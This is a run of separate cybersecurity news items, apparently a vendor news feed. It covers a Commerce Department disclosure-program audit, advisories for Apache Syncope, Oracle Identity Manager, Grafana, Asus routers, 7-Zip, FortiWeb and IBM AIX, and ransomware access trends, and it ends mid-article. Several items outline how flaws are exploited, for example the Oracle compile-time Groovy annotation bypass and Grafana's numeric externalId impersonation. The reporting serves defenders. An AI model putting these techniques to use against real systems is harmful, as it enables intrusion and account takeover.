The Department of Commerce’s vulnerability disclosure program (VDP), designed to protect its public-facing information technology systems, has been deemed “not fully effective” according to a recent audit conducted by the department’s Office of Inspector General (OIG). The audit highlights several shortcomings in the department’s approach to vulnerability disclosure and remediation.  The Commerce Department established its VDP in response to a directive from the Cybersecurity and Infrastructure Security Agency (CISA). This directive required all federal agencies to implement a vulnerability disclosure policy that allows members of the public to identify and report security vulnerabilities in internet-accessible government systems. Such programs are considered a critical component of federal cybersecurity efforts, enabling agencies to leverage external expertise to safeguard digital infrastructure.  However, the OIG’s audit, formally titled Audit of the Department’s Vulnerability Reporting and Resolution Program (Report Number OIG-26-002-A), found that the department’s program fell short in several key areas. “The Department established a vulnerability disclosure program; however, it was not fully effective,” the report states. Specifically, the audit found that not all internet-accessible systems were included in the VDP, testing guidelines restricted the tools public security researchers could use, reported vulnerabilities were not always fully remediated, and remediation deadlines were frequently missed. 

Gaps in Remediation and Vulnerability Reporting 

The OIG reviewed 71 resolved vulnerability disclosures and found that only 57 (80%) had been fully remediated, leaving 14 (20%) unresolved. Moreover, the audit indicated that since 2023, the department failed to meet established deadlines for remediating vulnerabilities approximately 35% of the time. “Without an effective vulnerability disclosure program, the Department cannot protect its internet-accessible systems, leaving them susceptible to potential compromise and exploitation,” the report warned.  The audit also highlighted structural issues with the VDP. The department limited its scope to 64 internet-accessible websites, excluding 22 department-owned or operated sites. Additionally, the contractor managing the VDP portal prohibited the use of automated scanners, tools widely used by public security researchers to detect vulnerabilities. 

OIG Recommendations and Next Steps 

To address these deficiencies, the OIG issued three recommendations. First, the department should revise its VDP testing scope to align with CISA’s Binding Operational Directive 20-01, which emphasizes including all internet-accessible systems in vulnerability disclosure efforts. Second, the department should update and implement standard operating procedures for vulnerability reporting and resolution to ensure comprehensive remediation across affected systems. Finally, the OIG recommended establishing an automated system to coordinate communication between contractors and bureaus and prompt timely action on delayed remediation efforts. 

The Importance of Vulnerability Disclosure Programs (VDPs) 

The OIG audit highlights the critical role of vulnerability disclosure programs (VDPs) in federal cybersecurity. CISA has emphasized that a strong VDP allows agencies to detect weaknesses before they are exploited, ensuring that vulnerabilities reported by security researchers are systematically assessed, tracked, and remediated.  Organizations looking to strengthen their cybersecurity posture can leverage platforms like Cyble, a world-leading AI-powered threat intelligence solution. Cyble provides real-time visibility into exposed assets, vulnerabilities, and emerging threats, helping organizations proactively manage risk.  Trusted by enterprises and federal agencies worldwide, Cyble’s AI-driven tools, including Blaze AI, automate threat detection, vulnerability management, and incident response, keeping systems protected before attackers strike.  Book a personalized demo and discover your vulnerabilities with Cyble Today! 

AI-powered cyberattacks are rising fast, and AI firewalls offer predictive, adaptive defense—but their cost, complexity and ROI must be carefully justified as organizations weigh upgrades.

The post Are AI Firewalls Worth the Investment?  appeared first on Security Boulevard.

AI-generated code is reshaping software development and introducing new security risks. Organizations must strengthen governance, expand testing and train developers to ensure AI-assisted coding remains secure and compliant.

The post Securing AI-Generated Code in Enterprise Applications: The New Frontier for AppSec Teams  appeared first on Security Boulevard.

A look at why identity security is failing in the age of deepfakes and AI-driven attacks, and how biometrics, MFA, PAD, and high-assurance verification must evolve to deliver true, phishing-resistant authentication.

The post How AI Threats Have Broken Strong Authentication  appeared first on Security Boulevard.

A critical security flaw has been uncovered in Apache Syncope, the widely used open-source identity management system, potentially putting organizations at risk of exposing sensitive password information.   Tracked as CVE-2025-65998, the vulnerability was publicly disclosed on November 24, 2025, by Francesco Chicchiriccò through the official Apache Syncope user mailing list. Credit for discovering the issue goes to Clemens Bergmann of the Technical University of Darmstadt. 

Understanding the CVE-2025-65998 Vulnerability 

The vulnerability specifically affects Apache Syncope instances configured to store user passwords in their internal database using AES encryption. While this configuration is not enabled by default, organizations that activate it may unknowingly introduce a significant security risk. The system relies on a hard-coded AES key embedded directly in the application’s source code.  This design oversight means that any attacker who gains access to the internal database can easily decrypt stored password values, recovering them in plaintext. This compromise poses a severe risk for account security, allowing unauthorized access, privilege escalation, and lateral movement within affected networks.  It is important to note that this flaw only affects passwords stored using the internal AES encryption feature. Other database attributes encrypted through key management mechanisms remain unaffected, as they use separate AES keys and proper encryption handling. 

Affected Versions 

Research indicates that multiple versions of Apache Syncope are vulnerable to CVE-2025-65998, including: 

• Apache Syncope (org.apache.syncope.core:syncope-core-spring) 2.1 through 2.1.14 
• Apache Syncope (org.apache.syncope.core:syncope-core-spring) 3.0 through 3.0.14 
• Apache Syncope (org.apache.syncope.core:syncope-core-spring) 4.0 through 4.0.2 

Organizations running these versions are strongly advised to upgrade to patched releases—version 3.0.15 or 4.0.3—to mitigate the risk. The update replaces the vulnerable hard-coded AES key approach with a more secure key management process, ensuring that password data cannot be trivially decrypted even if the database is compromised. 

Potential Impact 

Exploitation of CVE-2025-65998 can have serious operational consequences. Once an attacker accesses the internal database, all passwords stored with the default AES encryption method can be decrypted, exposing users’ credentials.   This breach can lead to unauthorized account logins, elevated privileges, and potential internal movement across systems, amplifying the threat to organizational security. Francesco Chicchiriccò, in the advisory posted to the Apache Syncope mailing list, emphasized the importance of upgrading affected systems promptly:  “Apache Syncope can be configured to store user password values in the internal database with AES encryption, though this is not the default option. When AES is configured, the default key value, hard-coded in the source code, is always used. This allows a malicious attacker, once obtaining access to the internal database content, to reconstruct the original cleartext password values.”  Clemens Bergmann of the Technical University of Darmstadt is credited with identifying this security gap, bringing attention to the risks associated with embedded AES encryption keys without proper key management. 

Mitigation Steps 

Administrators should promptly review their Apache Syncope deployments. Systems using AES encryption for internal password storage must be updated to versions 3.0.15 or 4.0.3, and key management practices should be strengthened to avoid hard-coded keys.  Cyble can help organizations proactively identify exposed assets and vulnerabilities, providing AI-powered threat intelligence and automated recommendations to prevent credential compromise.   Protect your organization from vulnerabilities like CVE-2025-65998. Leverage Cyble’s AI-powered threat intelligence to uncover exposed assets, assess risks, and secure your systems. Book a free demo today. 

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added an Oracle Identity Manager vulnerability to its Known Exploited Vulnerabilities database after the SANS Internet Storm Center reported attack attempts on the flaw. CVE-2025-61757 is a 9.8-severity Missing Authentication for Critical Function vulnerability in the Identity Manager product of Oracle Fusion Middleware that was patched as part of Oracle’s October update and detailed in a blog post last week by Searchlight Cyber, which had discovered the vulnerability and reported it to Oracle. Following the Searchlight post, the SANS Internet Storm Center looked for exploitation attempts on the vulnerability and found evidence as far back as August 30. “Given the complexity of some previous Oracle Access Manager vulnerabilities, this one is somewhat trivial and easily exploitable by threat actors,” Searchlight Cyber said in its post. Cyble threat intelligence researchers had flagged the vulnerability as important following Oracle’s October update.

Oracle Identity Manager Vulnerability CVE-2025-61757 Explained

CVE-2025-61757 affects the REST WebServices component of Identity Manager in Oracle Fusion Middleware versions 12.2.1.4.0 and 14.1.2.1.0. The easily exploitable pre-authentication remote code execution (RCE) vulnerability could allow an unauthenticated attacker with network access via HTTP to compromise Identity Manager. Successful attacks of the vulnerability can result in takeover of Identity Manager. The Searchlight researchers began looking for vulnerabilities after an Oracle Cloud breach earlier this year exploited a host that Oracle had failed to patch for CVE-2021-35587. In the source code for the Oracle Identity Governance Suite, the researchers found that that the application compiles Groovy script but doesn’t execute it. Taking inspiration from a previous Java capture the flag (CTF) event, they noted that Java annotations are executed at compile time, not at run time, so they are free from the constraints of the Java security manager and can call system functions and read files just like regular Java code. “Since Groovy is built on top of Java, we felt we should be able to write a Groovy annotation that executes at compile time, even though the compiled code is not actually run,” they said. After experimenting with the code, they achieved RCE. “The vulnerability our team discovered follows a familiar pattern in Java: filters designed to restrict authentication often contain easy-to-exploit authentication bypass flaws,” the Searchlight researchers said. “Logical flaws in how Java interprets request URIs are a gift that continues giving when paired with matrix parameters. “Participating in CTFs, or even staying up to date with research in the CTF space, continues to pay dividends, giving us unique insights into how we can often turn a seemingly unexploitable bug into an exploitable one.”

Oracle EBS Victims Climb Past 100

Meanwhile, the number of victims from the CL0P ransomware group’s exploitation of Oracle E-Business Suite vulnerabilities has now climbed past 100 after the threat group claimed additional victims late last week. Mazda and Cox Enterprises are the latest to confirm being breached, bringing the confirmed total to seven so far. Mazda said it was able to contain the breach without system or data impact, but Cox said the personal data of more than 9,000 was exposed.

Security is reaching a breaking point as growing technical complexity becomes a major risk vector. Learn why modern systems amplify threats—and how to stay ahead.

The post Security is at a Tipping Point: Why Complexity is the New Risk Vector  appeared first on Security Boulevard.

Grafana Labs has issued a warning regarding a maximum-severity security flaw, identified as CVE-2025-41115, affecting its Enterprise product. The vulnerability can allow attackers to impersonate administrators or escalate privileges if certain SCIM (System for Cross-domain Identity Management) settings are enabled.  According to the company, the issue arises only when SCIM provisioning is activated and configured. Specifically, both the enableSCIM feature flag and the user_sync_enabled option must be set to true. Under these conditions, a malicious or compromised SCIM client could create a user with a numeric externalId that directly maps to an internal account, potentially even an administrative account. 

SCIM Mapping Flaw (CVE-2025-41115) Enables Impersonation Risks 

In SCIM systems, the externalId attribute functions as a bookkeeping field used by identity providers to track user records. Grafana Labs’ implementation mapped this value directly to the platform’s internal user.uid. Because of this design, a numeric external ID such as “1” could be interpreted as an existing Grafana account. This behavior opens a door for impersonation or privilege escalation, enabling unauthorized users to assume the identity of legitimate internal accounts.  Grafana Labs notes in its documentation that SCIM is intended to simplify automated provisioning and management of users and groups, particularly for organizations relying on SAML authentication. The feature, available in Grafana Enterprise and certain Grafana Cloud plans, remains in Public Preview. As a result, breaking changes may occur, and administrators are encouraged to test the feature thoroughly in non-production environments before deployment. 

SAML Alignment Required to Prevent Authentication Mismatches 

A major security requirement highlighted by Grafana Labs involves the alignment between the SCIM externalId and the identifier used in SAML authentication. SCIM provisioning relies on a stable identity provider attribute, such as Entra ID’s user.objectid, which becomes the external ID in Grafana. SAML authentication must use the same unique identifier, delivered through a SAML claim, to ensure proper account linkage.  If these identifiers do not match, Grafana may fail to associate authenticated SAML sessions with the intended SCIM-provisioned accounts. This mismatch can allow attackers to generate crafted SAML assertions that result in unauthorized access or impersonation. The company recommends using the assertion_attribute_external_uid setting to guarantee that Grafana reads the precise identity claim required to maintain secure user associations.  To reduce risk, Grafana requires organizations to use the same identity provider for both user provisioning and authentication. Additionally, the SAML assertion exchange must include the correct userUID claim to ensure the system can link the session to the appropriate SCIM entry. 

Configuration Requirements, Supported Workflows, and Automation Capabilities 

Administrators can set up SCIM in Grafana through the user interface, configuration files, or infrastructure-as-code tools such as Terraform. The UI option, available to Grafana Cloud users, applies changes without requiring a restart and allows more controlled access through restricted authentication settings.  Grafana’s SCIM configuration includes options for enabling user synchronization (user_sync_enabled), group synchronization (group_sync_enabled), and restricting access for accounts not provisioned through SCIM (reject_non_provisioned_users). Group sync cannot operate alongside Team Sync, though user sync can. Supported identity providers include Entra ID and Okta.  SCIM provisioning streamlines user lifecycle tasks by automating account creation, updates, deactivation, and team management, reducing manual administrative work and improving security. Grafana notes that SCIM offers more comprehensive, near real-time automation than alternatives such as Team Sync, LDAP Sync, Role Sync, or Org Mapping.  Grafana Labs is urging organizations to review their SCIM and SAML identifier mappings immediately, warning that inconsistencies may lead to unauthorized access scenarios tied to CVE-2025-41115.  In parallel, cybersecurity intelligence leaders such as Cyble continue tracking identity-related risks and misconfigurations across global environments. Security teams looking to strengthen visibility, detect threats earlier, and reduce exposure can explore Cyble’s capabilities, book a free demo to see how Cyble’s AI-driven threat intelligence enhances defense across cloud, endpoints, and identity systems. 

Salesforce has issued a new update on the ongoing Salesforce Gainsight security incident, confirming additional details about the unusual activity detected across Gainsight-published applications connected to the CRM platform. The company reiterated that the incident stemmed from the app’s external integration with Salesforce rather than any vulnerability in the Salesforce core platform.

Salesforce Confirms Expanded Investigation

In its latest advisory, Salesforce stated that the unusual activity affecting Gainsight applications may have enabled unauthorized access to certain customers' Salesforce data through the app-to-Salesforce connection. As part of its precautionary measures, Salesforce revoked all active access and refresh OAuth tokens associated with Gainsight-published applications and removed the apps from its AppExchange. While initial communication referenced only three affected customers, Salesforce confirmed on November 21 that the list has expanded, and all newly identified impacted customers have been notified directly. Salesforce emphasized that a broader investigation is underway and continues to provide updates on its official Help portal. [caption id="attachment_107067" align="aligncenter" width="895"] Source: Salesforce[/caption]

Gainsight Products and Connectors Temporarily Impacted

According to Gainsight’s latest communication, several of its products, including Gainsight CS, Community (CC), Northpass (CE), Skilljar (SJ), and Staircase (ST), have been affected by Salesforce’s precautionary disconnection. Although the products remain operational, they are currently unable to read or write data to Salesforce. In addition, several third-party connectors integrated with Gainsight, such as Gong.io, Zendesk, and HubSpot, have been temporarily disabled by their respective vendors out of an abundance of caution. Gainsight urged customers to rotate their S3 keys if they have not done so since November 20, 2025, as part of the secure log retrieval process.

No Indication of Salesforce Platform Vulnerability

Salesforce reiterated that there is no evidence suggesting the issue originated from a flaw within the Salesforce platform itself. Instead, the activity appears tied to the external OAuth-based connection between Gainsight applications and Salesforce environments. Crucially, Salesforce confirmed that while the OAuth tokens have been revoked, historical audit trails and logs remain intact, enabling full customer-led investigation efforts. The company also strongly encouraged customers to conduct thorough log reviews using Setup Audit Trail, Event Monitoring logs, and API activity records. Salesforce referenced the Salesforce Log Analysis Guide to support customers in assessing potential compromise indicators.

Indicators of Compromise Published

As part of its transparency efforts, Salesforce shared a list of Indicators of Compromise (IOCs) associated with the threat activity. These include several user agents—such as python-requests/2.32.3 and Salesforce-Multi-Org-Fetcher/1.0—and dozens of IP addresses linked to suspicious access attempts. Gainsight echoed Salesforce’s recommendations and is conducting its own forensic review with support from independent investigators. Both organizations confirmed that the Salesforce Gainsight security incident remains under active investigation. Gainsight has published a detailed timeline and continues to coordinate with Salesforce to determine the full impact. Customers seeking assistance have been directed to Salesforce Help and Gainsight Support for further updates.

According to the Indian Computer Emergency Response Team (CERT-In), thousands of households, small offices, and service providers across the country may already be at risk due to a newly uncovered authentication bypass flaw tracked as CVE-2025-59367. India’s national cybersecurity agency has issued a security alert after identifying a severe vulnerability in several widely used Asus DSL-series WiFi routers. The warning, published in CERT-In Vulnerability Note CIVN-2025-0322, outlines how remote attackers could infiltrate specific router models without user involvement. The affected devices include the Asus DSL-AC51, DSL-N16, and DSL-AC750, three routers that are common in home and SOHO environments relying on DSL internet connections.  CERT-In states that the flaw enables an attacker to bypass login controls and gain unrestricted access to the router’s administrative interface. Once the router is compromised, the intruder could alter configuration settings, observe or reroute internet traffic, intercept personal or financial information, or even compromise connected devices. The agency describes the risks to confidentiality, integrity, and availability as “critical.” 

CVE-2025-59367 Enables Authentication Bypass and Network Compromise 

In its advisory, CERT-In explains that a "vulnerability has been reported in ASUS DSL series routers that allows a remote attacker to gain unauthorized access into the affected system.” The agency notes that the issue affects the DSL-AC51, DSL-N16, and DSL-AC750 models and warns that successful exploitation could result in unauthorized access, modification of configuration parameters, access to sensitive information transmitted through the router, and compromise of connected systems.  The advisory is targeted at IT and network administrators, SOC analysts, SMB operators, home and SOHO users, and managed service providers or ISPs, highlighting the widespread nature of the vulnerability. CERT-In’s assessment reiterates that the authentication bypass flaw, identified as CVE-2025-59367, poses direct threats to data confidentiality and system integrity.  The report also details the broader context of the Asus DSL series line, explaining that these devices serve as integrated modem-router units for environments dependent on DSL connections. Because these routers often operate as central networking hubs, any breach may expose all devices and data flowing through the network.  The advisory includes a directive: “Apply appropriate security updates as mentioned in: https://www.asus.com/security-advisory.” CERT-In urges users to immediately install the firmware patches that Asus has begun releasing for the affected models. The agency also recommends that users change default passwords, disable remote management functions unless necessary, and review router security settings for any misconfigurations. Monitoring router logs for abnormalities has also been emphasized as a crucial preventive step. 

Conclusion  

Asus rolls out patches for the authentication bypass flaw CVE-2025-59367; CERT-In is urging all users of affected DSL-series routers to apply updates immediately. The agency has reiterated the seriousness of the vulnerability and advised users to review their router settings, update firmware through the Asus security advisory page, and remain alert to suspicious activity. Incidents like CVE-2025-59367 show how essential it is for organizations to have reliable insight into new vulnerabilities. Cyble supports this need through detailed vulnerability intelligence, helping teams identify high-risk issues, track exploit activity, and prioritize remediation across assets and products. Its intelligence goes beyond standard CVE and NVD listings, offering context on exploits, attack methods, and threat actor discussions.  Schedule a personalized demo with Cyble to assess how its intelligence platform can support your security operations. 

Compromised VPN credentials are the most common initial access vector for ransomware attacks, according to a new report. Nearly half of ransomware attacks in the third quarter abused compromised VPN credentials as the initial access point, according to research from Beazley Security, the cybersecurity arm of Beazley Insurance. Nearly a quarter of initial access attacks came from external service exploitation, while remote desktop service (RDS) credential compromises, supply chain attacks and social engineering accounted for 6% each (chart below). [caption id="attachment_106993" align="aligncenter" width="480"] Initial access vectors in ransomware attacks (Beazley Security)[/caption] “This trend underscores the importance of ensuring that multifactor authentication (MFA) is configured and protecting remote access solutions and that security teams maintain awareness and compensating controls for any accounts where MFA exceptions have been put in place,” the report said. In addition to the critical need for MFA, the report also underscores the importance of dark web monitoring for leaked credentials, which are often a precursor to much bigger cyberattacks.

SonicWall Compromises Led Attacks on VPN Credentials

A “prolonged campaign” targeting SonicWall devices by the Akira ransomware group was responsible for some of the 10-point increase in the percentage of VPN attacks. “Adding to SonicWall’s misery this quarter was a significant breach of their cloud service, including sensitive configuration backups of client SonicWall devices,” the report added. Akira, Qilin and INC were by far the most active ransomware groups in the third quarter, Beazley said – and all three exploit VPN and remote desktop credentials. Akira “typically gains initial access by exploiting weaknesses in VPN appliances and remote services,” the report said. In the third quarter, they used credential stuffing and brute force attacks to target unpatched systems and weak credentials. Akira accounted for 39% of Beazley Security incident response cases in the third quarter. Akira “consistently gained access by using valid credentials in credential stuffing attacks against SonicWall SSLVPN services, exploiting weak access controls such as absent MFA and insufficient lockout policies on the device,” the report said. Qilin’s initial access techniques include phishing emails, malicious attachments, and brute forcing weak credentials or stolen credentials in remote desktop protocol (RDP) and VPN services. INC Ransomware uses a combination of phishing, credential theft, and exploitation of exposed enterprise appliances for initial access. “Beazley Security responders observed the group leverage valid, compromised credentials to access victim environments via VPN and Remote Desktop,” the report said.

Cisco, Citrix Vulnerabilities, SEO Poisoning Also Exploited

Critical vulnerabilities in Cisco and Citrix NetScaler were also targeted by attackers in the third quarter. In one campaign, a sophisticated threat actor leveraged CVE-2025-20333 and CVE-2025-20363 in Cisco ASA VPN components to gain unauthorized access into environments, Beazley said. Another campaign targeted a critical SNMP flaw (CVE-2025-20352) in Cisco IOS.‍ Threat actors also targeted Citrix NetScaler vulnerabilities CVE-2025-7775 and CVE-2025-5777. The latter has been dubbed “Citrix Bleed 2” because of similarities to 2023’s “Citrix Bleed” vulnerability (CVE-2023-4966). A “smaller yet noteworthy subset” of ransomware attacks gained access via search engine optimization (SEO) poisoning attacks and malicious advertisements, used for initial access in some Rhysida ransomware attacks. “This technique places threat actor-controlled websites at the top of otherwise trusted search results, tricking users into downloading fake productivity and administrative tools such as PDF editors,” the report said. “These tools can be trojanized with various malware payloads, depending on threat actor objectives, and can potentially give threat actors a foothold directly on the endpoint in a network. The attack is effective because it bypasses other traditional social engineering protections like email filters that prevent phishing attacks.”

A newly discovered security flaw, identified as CVE-2025-11001, is targeting users across both public and private sectors. The vulnerability, affecting all versions of 7-Zip before 25.00, allows attackers to execute malicious code remotely, potentially compromising critical systems. NHS Digital issued a cyber alert urging organizations and users to take immediate action. 

Details of the CVE-2025-11001 Vulnerability

CVE-2025-11001 is classified as a file-parsing directory traversal remote code execution vulnerability. With a CVSS score of 7.0, the flaw is considered high severity. Exploitation occurs through 7-Zip’s handling of symbolic links during the extraction of archive files. By crafting malicious archives, attackers can manipulate 7-Zip to write files outside the intended extraction directory. This misbehavior enables the placement of executable files in sensitive system locations, which can then be triggered to execute arbitrary code.  Security researchers have released a proof-of-concept (PoC) exploit demonstrating how CVE-2025-11001 can be leveraged. While the PoC does not constitute a fully weaponized attack, it lowers the barrier for cybercriminals, making unpatched systems increasingly vulnerable. 

Impact and Threat Assessment

All 7-Zip versions before 25.00 are at risk, which includes a vast number of enterprise systems, government agencies, and personal computers. The NHS Digital cybersecurity team has classified this issue as Threat ID CC-4719 with medium severity, highlighting the urgent need for patching.  Although initial reports suggested active exploitation in the wild, a subsequent update on November 20, 2025, clarified that no confirmed exploitation of CVE-2025-11001 has been observed by NHS England’s National Cyber Security Operations Centre (CSOC). The National CSOC did confirm the existence of the public PoC exploit and indicated that potential exploitation remains likely in the future if systems are left unpatched.  Given the deployment of 7-Zip across multiple environments, the potential attack surface is significant. A successful attack could allow unauthorized access to sensitive systems and facilitate the deployment of additional malware payloads. 

Remediation and Recommendations

In response to CVE-2025-11001, 7-Zip released version 25.00, which addresses the vulnerability and mitigates the risk of remote code execution via malicious archive files. Organizations and individual users are strongly advised to upgrade immediately. Delaying the update leaves systems exposed to potential threats that could be exploited once more attacks emerge.  System administrators should prioritize updating all endpoints and servers running vulnerable 7-Zip versions. Implementing this patch eliminates the directory traversal flaw, effectively neutralizing the possibility of arbitrary code execution through symbolic link abuse. 

Conclusion

CVE-2025-11001 is a high-severity 7-Zip vulnerability. While NHS systems haven’t seen confirmed exploitation, the public proof-of-concept raises the risk. Organizations should update to 7-Zip 25.00 or later and report incidents to NHS Digital.  To stay protected from threats like CVE-2025-11001, Cyble provides AI-driven vulnerability intelligence, helping organizations prioritize and patch critical risks before they are exploited. Schedule a personalized demo with Cyble to protect your systems today. 

Akira ransomware is exploiting MFA push-spam, weak VPN security and identity gaps. Learn why these attacks succeed and the counter-playbook defenders must deploy now.

The post The Akira Playbook: How Ransomware Groups Are Weaponizing MFA Fatigue  appeared first on Security Boulevard.

Microsoft’s warning on Tuesday that an experimental AI agent integrated into Windows can infect devices and pilfer sensitive user data has set off a familiar response from security-minded critics: Why is Big Tech so intent on pushing new features before their dangerous behaviors can be fully understood and contained?

As reported Tuesday, Microsoft introduced Copilot Actions, a new set of “experimental agentic features” that, when enabled, perform “everyday tasks like organizing files, scheduling meetings, or sending emails,” and provide “an active digital collaborator that can carry out complex tasks for you to enhance efficiency and productivity.”

Hallucinations and prompt injections apply

The fanfare, however, came with a significant caveat. Microsoft recommended users enable Copilot Actions only “if you understand the security implications outlined.”

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Kendra Albert gave an excellent talk at USENIX Security this year, pointing out that the legal agreements surrounding vulnerability disclosure muzzle researchers while allowing companies to not fix the vulnerabilities—exactly the opposite of what the responsible disclosure movement of the early 2000s was supposed to prevent. This is the talk.

Thirty years ago, a debate raged over whether vulnerability disclosure was good for computer security. On one side, full disclosure advocates argued that software bugs weren’t getting fixed and wouldn’t get fixed if companies that made insecure software wasn’t called out publicly. On the other side, companies argued that full disclosure led to exploitation of unpatched vulnerabilities, especially if they were hard to fix. After blog posts, public debates, and countless mailing list flame wars, there emerged a compromise solution: coordinated vulnerability disclosure, where vulnerabilities were disclosed after a period of confidentiality where vendors can attempt to fix things. Although full disclosure fell out of fashion, disclosure won and security through obscurity lost. We’ve lived happily ever after since.

Or have we? The move towards paid bug bounties and the rise of platforms that manage bug bounty programs for security teams has changed the reality of disclosure significantly. In certain cases, these programs require agreement to contractual restrictions. Under the status quo, that means that software companies sometimes funnel vulnerabilities into bug bounty management platforms and then condition submission on confidentiality agreements that can prohibit researchers from ever sharing their findings.

In this talk, I’ll explain how confidentiality requirements for managed bug bounty programs restrict the ability of those who attempt to report vulnerabilities to share their findings publicly, compromising the bargain at the center of the CVD process. I’ll discuss what contract law can tell us about how and when these restrictions are enforceable, and more importantly, when they aren’t, providing advice to hackers around how to understand their legal rights when submitting. Finally, I’ll call upon platforms and companies to adapt their practices to be more in line with the original bargain of coordinated vulnerability disclosure, including by banning agreements that require non-disclosure.

And this is me from 2007, talking about “responsible disclosure”:

This was a good idea—and these days it’s normal procedure—but one that was possible only because full disclosure was the norm. And it remains a good idea only as long as full disclosure is the threat.

Fortinet may have silently patched an exploited zero-day vulnerability more than two weeks before officially disclosing the vulnerability. CVE-2025-64446 in Fortinet’s FortiWeb web application firewall (WAF) may have been exploited as early as October 6, according to DefusedCyber in a post on X. Fortinet is believed to have patched the 9.8-rated vulnerability in FortiWeb 8.0.2 in late October, but didn’t publish an advisory disclosing the exploited vulnerability until November 14. CISA added the vulnerability to its Known Exploited Vulnerabilities (KEV) catalog the same day as Fortinet’s disclosure. Late today, Fortinet disclosed another exploited FortiWeb vulnerability - CVE-2025-58034, a 7.2-rated OS Command Injection vulnerability.

Fortinet Silent Patch Raises Concerns

The delayed notification in the case of CVE-2025-64446 has raised concerns with some in the cybersecurity industry, who say the delay may have put Fortinet customers at a disadvantage. “Silently patching vulnerabilities is an established bad practice that enables attackers and harms defenders, particularly for devices and systems (including FortiWeb) that have previously been exploited in the wild,” VulnCheck’s Caitlin Condon said in a blog post. “We already know security by obscurity doesn't work; adversaries monitor new product releases and are actively reverse engineering patches regardless of whether suppliers tell their customers about fixed vulnerabilities or not,” Condon added. “When popular technology vendors fail to communicate new security issues, they are issuing an invitation to attackers while choosing to keep that same information from defenders.” The Cyber Express has reached out to Fortinet for comment and will update this article with any response.

CVE-2025-64446 FortiWeb Vulnerability

CVE-2025-64446 is a 9.8-severity relative path traversal vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.1, FortiWeb 7.6.0 through 7.6.4, FortiWeb 7.4.0 through 7.4.9, FortiWeb 7.2.0 through 7.2.11, and FortiWeb 7.0.0 through 7.0.11. The vulnerability could potentially allow an attacker to execute administrative commands on the system via crafted HTTP or HTTPS requests. Fortinet recommends disabling HTTP or HTTPS for internet facing interfaces until an upgrade can be performed. “If the HTTP/HTTPS Management interface is internally accessible only as per best practice, the risk is significantly reduced,” Fortinet’s advisory said. Shadowserver shows several hundred internet-facing FortiWeb management instances, which presumably would be vulnerable until upgraded. After completing upgrades, Fortinet recommends that FortiWeb customers “review their configuration for and review logs for unexpected modifications, or the addition of unauthorized administrator accounts.” watchTowr said CVE-2025-64446 appears to comprise two vulnerabilities: a path traversal vulnerability, and an authentication bypass vulnerability. watchTowr shared one sample request stream that it said was “evidence of a threat actor looking to exploit a vulnerability ... that allowed privileged administrative functions to be reached.” In the example, the threat actor “exploited the vulnerability to add administrative accounts to the target and vulnerable appliance, serving as a weak persistence mechanism. “To be explicitly clear,” watchTowr added, “this is a complete compromise of the vulnerable appliance.”

TL;DR

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Vulnerabilities in the IBM AIX operating system for Power servers could allow remote attackers to execute arbitrary commands, obtain Network Installation Manager (NIM) private keys, or traverse directories. IBM flagged the vulnerabilities - three critical and one high-severity - in a new security bulletin, and security firm Mondoo also urged AIX users to mitigate the flaws in a blog post. While there has been no evidence of exploitation as of yet, Mondoo warns the vulnerabilities could be chained together to compromise the critical environments that typically rely on IBM Power systems, like financial services and healthcare. “These four vulnerabilities together present a very serious threat, especially in environments where the NIM infrastructure is exposed,” Mondoo said.

IBM AIX Vulnerability CVE-2025-36250 Rated 10.0

The highest-rated vulnerability is CVE-2025-36250, which scored a perfect 10.0. In IBM AIX 7.2 and 7.3 and IBM VIOS (Virtual I/O Server) 3.1 and 4.1, NIM server (formerly known as NIM master) service (nimesis) could allow a remote attacker to execute arbitrary commands due to improper process controls. The fix issued by IBM “addresses additional attack vectors for a vulnerability that was previously addressed” as CVE-2024-56346, which was also rated 10.0. CVE-2025-36251, rated 9.6, also affects IBM AIX 7.2 and 7.3 and IBM VIOS 3.1 and 4.1. IBM notes that nimsh service SSL/TLS implementations could allow a remote attacker to execute arbitrary commands due to improper process controls. The fix also addresses additional attack vectors for a previous vulnerability, CVE-2024-56347, which was also rated 9.6. CVE-2025-36096, rated 9.0, notes that AIX 7.2 and 7.3 and IBM VIOS 3.1 and 4.1 store NIM private keys used in NIM environments “in an insecure way which is susceptible to unauthorized access by an attacker using man in the middle techniques.” CVE-2025-36236, rated 8.2, also affects AIX 7.2 and 7.3 and IBM VIOS 3.1 and 4.1. The NIM server service could allow a remote attacker to traverse system directories or send a specially crafted URL request to write arbitrary files on the system. IBM credited Jan Alsenz of Oneconsult AG for the discoveries.

IBM AIX Vulnerabilities Could Allow System ‘Hijack’

In a statement shared with The Cyber Express, Mondoo CSO Patrick Münch said the four vulnerabilities “present a very serious threat because they allow a remote attacker with no privileges to perform arbitrary commands on an IBM Network Installation Manager (NIM) that’s exposed to the internet (which NIM servers typically are). This means that they could 'hijack' unattended operating system installations and updates to deploy malicious payloads onto AIX hosts, move laterally, and persist in the broader environment.” Münch noted that because of their critical nature, “Patch cycles are often delayed on IBM AIX because uptime is so critical for these enterprises. We haven’t seen any reports of active exploitation yet, but due to the high risk of these vulnerabilities, we strongly advise organizations to patch immediately.” IBM provided lengthy mitigation instructions, and Mondoo said affected organizations should configure NIM in SSL/TLS Secure mode (nimconfig -c) and apply the fixes, which can be downloaded via https from: https://aix.software.ibm.com/aix/efixes/security/nim_fix2.tar, which downloads a tar file that contains the advisory, fix packages, and OpenSSL signatures for each package.  

In this episode, we discuss the newly released OWASP Top 10 for 2025. Join hosts Tom Eston, Scott Wright, and Kevin Johnson as they explore the changes, the continuity, and the significance of the update for application security. Learn about the importance of getting involved with the release candidate to provide feedback and suggestions. The […]

The post OWASP Top 10 for 2025: What’s New and Why It Matters appeared first on Shared Security Podcast.

The post OWASP Top 10 for 2025: What’s New and Why It Matters appeared first on Security Boulevard.

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The Washington Post has confirmed that it was breached by a threat campaign targeting Oracle E-Business Suite vulnerabilities. The Washington Post data breach is one of more than 40 victims claimed by the CL0P ransomware group in a campaign that is believed to have targeted Oracle E-Business Suite vulnerability CVE-2025-61884, but so far only four of the victims have confirmed that they were breached: The Post, Harvard University, American Airlines’ Envoy Air, and Hitachi’s GlobalLogic. The Post confirmed the data breach in a Nov. 12 filing with the Maine Attorney General’s office.

Washington Post Data Breach Detailed in Letter

